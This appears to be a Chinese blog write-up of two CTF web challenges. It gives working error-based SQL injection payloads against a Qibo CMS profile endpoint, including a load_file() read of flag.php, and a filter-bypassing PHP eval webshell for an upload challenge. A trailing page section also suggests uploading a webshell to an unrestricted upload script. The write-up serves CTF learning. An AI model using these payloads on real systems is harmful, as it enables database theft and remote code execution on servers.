i 春秋CTF题目 百度杯 9月场 再见CMS Upload 复现

今天花了点时间刷了下题目,遇到几道相对来说进阶的题目,学习一下储备一些CTF思路,这些题。。脑洞有点开。

目录

再见CMS

 总结

Upload

绕过方法

 总结


再见CMS

昨天刚做一道

[WEB攻防] i春秋- “百度杯”CTF比赛 十二月场-YeserCMS cmseasy CmsEasy_5.6_20151009 无限制报错注入 复现过程_AAAAAAAAAAAA66的博客-CSDN博客

今天继续按着套路来

直接在线CMS指纹识别

百度找到payload ,都是些过了很久的漏洞了

这里简单知道是一个注入漏洞就行了,我们的目的是照着payload修改找flag

POC

简单构造一下,
向http://localhost/qibov7/member/userinfo.php?job=edit&step=2
发送数据包:

truename=xxxx%0000&Limitword[000]=&email=123@qq.com&provinceid=,
address=(select user()) where uid=38%23

需要修改的emali=123@qq.com 和 uid=38

其中emali 是我们注册时用的邮箱

 uid:点击我们个人主页,uid可以看到

 下面到了自己动手的地方了(使用HACKBAR)

url

http://2ee06f40f1b54ce6acda4e66b31973067b028d2008ca40d9.changame.ichunqiu.com/member/homepage.php/member/userinfo.php?job=edit&step=2

post

truename=xxxx%0000&Limitword[000]=&email=111@qq.com&provinceid= , address=(select version()) where uid = 3 %23 

 

 可以看到这里报错注入显示了 服务器版本,所以到这我们就复现成功了

接下来爆表 (利用where table_schema=database()不用爆库)


truename=xxxx%0000&Limitword[000]=&email=111@qq.com&provinceid= , address=(select group_concat(table_name) from information_schema.tables where table_schema=database()) where uid = 3 %23

太多表了,一个一个查太麻烦了。(这里面没flag)有一个提示

用dirsearch-master

 

 那么就想办法用注入获取flag.php了

这里就要用到load_file函数了

MYSQL注入中load_file()函数的进一步应用_收集盒 Book box-CSDN博客

用16进制代表/var/www/html/flag.php

0x2f7661722f7777772f68746d6c2f666c61672e706870

最终payload

truename=111&Limitword[000]=&email=111@qq.com&provinceid= 
, address=(select load_file(0x2f7661722f7777772f68746d6c2f666c61672e706870) ) where uid = 3 %23

 最后在个人主页查看源码

搜索flag

 总结

抓住了一个点就不要放,既然存在注入就一定要用注入获取到flag,如果获取不到,再去搜索其他的信息,最终一定要与注入结合,才能获取flag,不可能出题人引导你找到了一个漏洞却不让你用。

Upload

简单上传个一句话

点击上传成功看路径,没路径是没办法用蚁剑连接的。

绕过方法

上面我们分析,过滤了 <? php 这2个字符。 怎么绕过呢?

  • php长标签 <script language="php">  绕过<?
  • 但是php 我们尝试大小写绕过 pHp

最终payload

<script language="pHp">@eval($_POST['xxx'])</script>

 上传 ,蚁剑连接。

顺便也能在index.php看见了过滤的代码

<?php
    if (is_uploaded_file($_FILES["file"]["tmp_name"])):
      $file = $_FILES['file'];
      $name = $file['name'];
      if (preg_match("/^[a-zA-Z0-9]+\\.[a-zA-Z0-9]+$/", $name) ):
        $data = file_get_contents($file['tmp_name']);
        while($next = preg_replace("/<\\?/", "", $data)){
          $next = preg_replace("/php/", "", $next);
          if($data === $next) break;
          $data = $next;
        }
        file_put_contents(dirname(__FILE__) . '/u/' . $name, $data);
        chmod(dirname(__FILE__) . '/u/' . $name, 0644);
?>

 总结

这道题可以随便上传任意文件,但是对必要的一些php文件内容进行过滤,但是它给出了过滤的结果,想办法绕过过滤即可。


参考链接

[百度杯]九月场 再见CMS writeup_Flyour的博客-CSDN博客_再见cms

MYSQL注入中load_file()函数的进一步应用_收集盒 Book box-CSDN博客

“百度杯”CTF比赛 九月场——Web-Upload_Ifish的博客-CSDN博客

  • 0
    点赞
  • 5
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
首先,我们需要分析题目所提供的代码: ```php <?php error_reporting(0); if ($_FILES["upload"]["error"] > 0) { echo "Error: " . $_FILES["upload"]["error"] . "<br />"; } else { echo "Upload: " . $_FILES["upload"]["name"] . "<br />"; echo "Type: " . $_FILES["upload"]["type"] . "<br />"; echo "Size: " . ($_FILES["upload"]["size"] / 1024) . " Kb<br />"; move_uploaded_file($_FILES["upload"]["tmp_name"], "upload/" . $_FILES["upload"]["name"]); echo "Stored in: " . "upload/" . $_FILES["upload"]["name"]; } ?> ``` 从上述代码中我们可以发现,这是一个文件上传的代码,该代码运行后会将用户上传的文件存储到 `upload` 目录下。 但是,该代码没有对上传的文件类型进行限制,这意味着我们可以上传任何类型的文件,甚至是一些恶意的文件。我们可以尝试上传一些常见的恶意文件,比如 `webshell`。 我们可以在本地创建一个 `webshell.php` 文件,然后上传到服务器上的 `upload` 目录。上传完成后,我们可以访问 `http://xxx.xxx.xxx.xxx/upload/webshell.php` 来执行我们上传的 `webshell`。 最后,我们需要注意的是,该上传脚本没有做任何安全性检查,这意味着我们可以上传任意大小的文件,这可能会影响服务器的性能,甚至导致服务器崩溃。因此,在实际应用中,我们应该对上传的文件大小进行限制,同时对上传的文件类型进行检查,从而确保服务器的安全性。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值